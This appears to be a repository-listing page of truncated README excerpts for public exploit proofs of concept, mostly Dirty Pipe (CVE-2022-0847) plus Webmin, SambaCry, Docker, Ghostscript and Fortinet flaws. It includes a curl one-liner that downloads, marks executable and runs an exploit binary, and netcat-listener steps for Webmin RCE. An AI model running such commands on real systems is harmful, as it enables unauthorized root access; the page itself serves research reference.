DirtyPipe

Dirty Pipe Exploit: CVE-2022-0847 The Dirty Pipe vulnerability, also known as CVE-2022-0847, is a significant flaw within the Linux kernel. This repository provides an adapted version of the widely used exploit code to make it more user-friendly and modular. A very good explanation of this...

dirty-pipe-poc

Dirty Pipe POC CVE-2022-0847 POC - https://dirtypipe.cm4all.com/ 描述 此漏洞利用尝试使用 CVE-2022-0847 漏洞覆盖一个只读文件。 当运行 make exploit 时，它将： 1. 创建一个 readonlyfile.txt 2. 执行 dirtypipe 漏洞利用。 3. 检查 dirtypipe 漏洞利用是否成功。 你可以通过 make exploit 的输出来判断你的系统是否存在漏洞： foo@bar:$ make exploit vulnerable Creating readonlyfile.txt...

CVE-2012-2982

CVE-2012-2982 描述 Webmin 1.590 及更早版本中的 file/show.cgi 允许远程认证用户通过路径名中的无效字符（例如 |（管道符））执行任意命令。 安装 1. git clone https://github.com/CpyRe/CVE-2012-2982.git 2. pip3 install -r requirements.txt 使用方法 1. nc -nlvp 2. python3 exp.py 或 python3 subprocess-exp.py 3. RCE!!...

exploit-CVE-2017-7494

Exploit RCE SambaCry para Samba 4.5.9 Samba es una reimplementación de software libre del protocolo de red SMB/CIFS. Samba proporciona servicios de archivos e impresión para varios clientes de Microsoft Windows y puede integrarse con un dominio de Microsoft Windows Server, ya sea como Controlador...

CVE-2020-11493

CVE-2020-11492 针对 Docker Desktop for Windows 权限提升漏洞的概念验证（PoC）。该漏洞已于 2020 年 5 月 11 日在 Docker 2.3.0.2 版本中得到修复。 此 PoC 执行以下操作： 创建一个模仿 Docker 命名管道 \.\pipe\dockerLifecycleServer 的命名管道， 在与 Docker 服务建立连接后调用 ImpersonateNamedPipeClient， 从当前线程中检索并复制模拟后的访问令牌， 使用该令牌启动一个新进程。新进程将以 SYSTEM 权限运行。 注意...

CVE-2021-22555-PipeVersion

CVE-2021-22555 pipe version Using pipe-primitive to exploit CVE-2021-22555, so no kaslr leak nor smap smep ktpi bypass is needed : Q: What is pipe-primitive? A: https://github.com/veritas501/pipe-primitive Tested on both Linux 4.15 and Linux 5.8...

cve-2022-0847dirtypipe-exploit

cve-2022-0847dirtypipe-exploit...

CVE-2022-24924

Vulnerabilidad de control de acceso inadecuado en LiveWallpaperService CVE-2022-24924SVE-2021-24089 Versión de Windows probada: Windows 10 20H2 Build 19042.1348 64bit Versión de Live Wallpaper: 3.0.9.0 o anterior Existe un LiveWallpaperService que funciona por defecto en los portátiles Samsung,...

CVE-2023-36664-Ghostscript-command-injection

PoC de vulnerabilidad de inyección de comandos en Ghostscript CVE-2023-36664 La vulnerabilidad divulgada en Ghostscript anterior a la versión 10.01.2 conduce a la ejecución de código puntuación CVSS 9.8. Descripción oficial de la vulnerabilidad: Artifex Ghostscript hasta 10.01.2 maneja...

Dirty-Pipe

Oneline Exploit CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2022-0847-DirtyPipe-Exploits

此存储库没有 README。...

CVE-2024-40586-Windows-Coerced-Authentication-in-FortiClient

CVE-2024-40586 Autenticación Coaccionada de Windows en FortiClient En sistemas Windows, se encontró que FortiClient versión de la aplicación 7.0.8.0427 permite a un usuario remoto sin privilegios coaccionar a los hosts de Windows para que se autentiquen en otras máquinas a través de una tubería c...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847 - Implementación del Exploit Esta es una prueba de concepto POC que muestra cómo obtener un shell inverso de bash para ejecución arbitraria de código en una máquina remota utilizando CVE-2022-0847, "Dirty Pipe Exploit". Esta vulnerabilidad solo afecta a las versiones del kernel de...

CVE-2026-39808

CVE-2026-39808 On November 2025, a critical vulnerability was discovered on Fortinet's FortiSandbox which allowed an unauthenticated attacker to execute commands in the underlying OS as root. The vulnerability was patched and finally made public on April 2026. This vulnerability affects...

CVE-2022-0847

CVE-2022-0847 原文地址 https://dirtypipe.cm4all.com/ 使用 gcc exploit.cpp -o exploit ./exploit它会弹出一个root shell 漏洞说明 这是 CVE-2022-0847，它是自 5.8 以来 Linux 内核中的一个漏洞，它允许覆盖任意只读文件中的数据。这会导致权限提升，因为非特权进程可以将代码注入根进程。 使用CVE-2022-0847清除根密码 该漏洞已经在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。...

traitor

Traitor Explota automáticamente objetivos fáciles para obtener una shell root. ¡Escalada de privilegios en Linux hecha fácil! Traitor agrupa un montón de métodos para explotar malas configuraciones y vulnerabilidades locales con el fin de obtener una shell root: Casi todos los GTFOBins docker.soc...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-Exploits Este repositorio ofrece una colección exhaustiva de exploits y documentación diseñada específicamente para probadores de penetración y profesionales de red team. Sirve como un recurso valioso para aquellos que buscan explotar eficazmente la vulnerabilidad Dirty Pi...

Dirty-Pipe

Dirty Pipe Exploit CVE-2022-0847 Resumen Este repositorio contiene una Prueba de Concepto PoC del exploit para la vulnerabilidad Dirty Pipe CVE-2022-0847 , que afecta a las versiones del kernel de Linux 5.8 a 5.16. Esta vulnerabilidad permite la escalada de privilegios locales al explotar el mane...

eternal_scanner

ETERNAL SCANNER 2.4 Eternal Scanner 是一个用于 Eternal Blue 漏洞 CVE-2017-0144 和 Eternal Romance 命名管道 漏洞 CVE-2017-0145 的网络扫描器。 截屏 2.2 版本（新增功能） Eternal Romance 漏洞检测 escan -er Escan 数据库分类结果 escan -l 视频 Eternal Scanner 2.0 : https://www.youtube.com/watch?v=8heVXfcywq0 Eternal Scanner 2.2 安装与运行 :...

CVE-2022-0847

CVE-2022-0847 脏管道漏洞 仅供教育用途 ┌──vagrant㉿kali- └─$ ls -al /etc/passwd -rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd ┌──vagrant㉿kali- └─$ head -n 1 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh ┌──vagrant㉿kali- └─$ echo foo /etc/passwd zsh: permission denied: /etc/passwd ┌──vagrant㉿kali- └─$ g...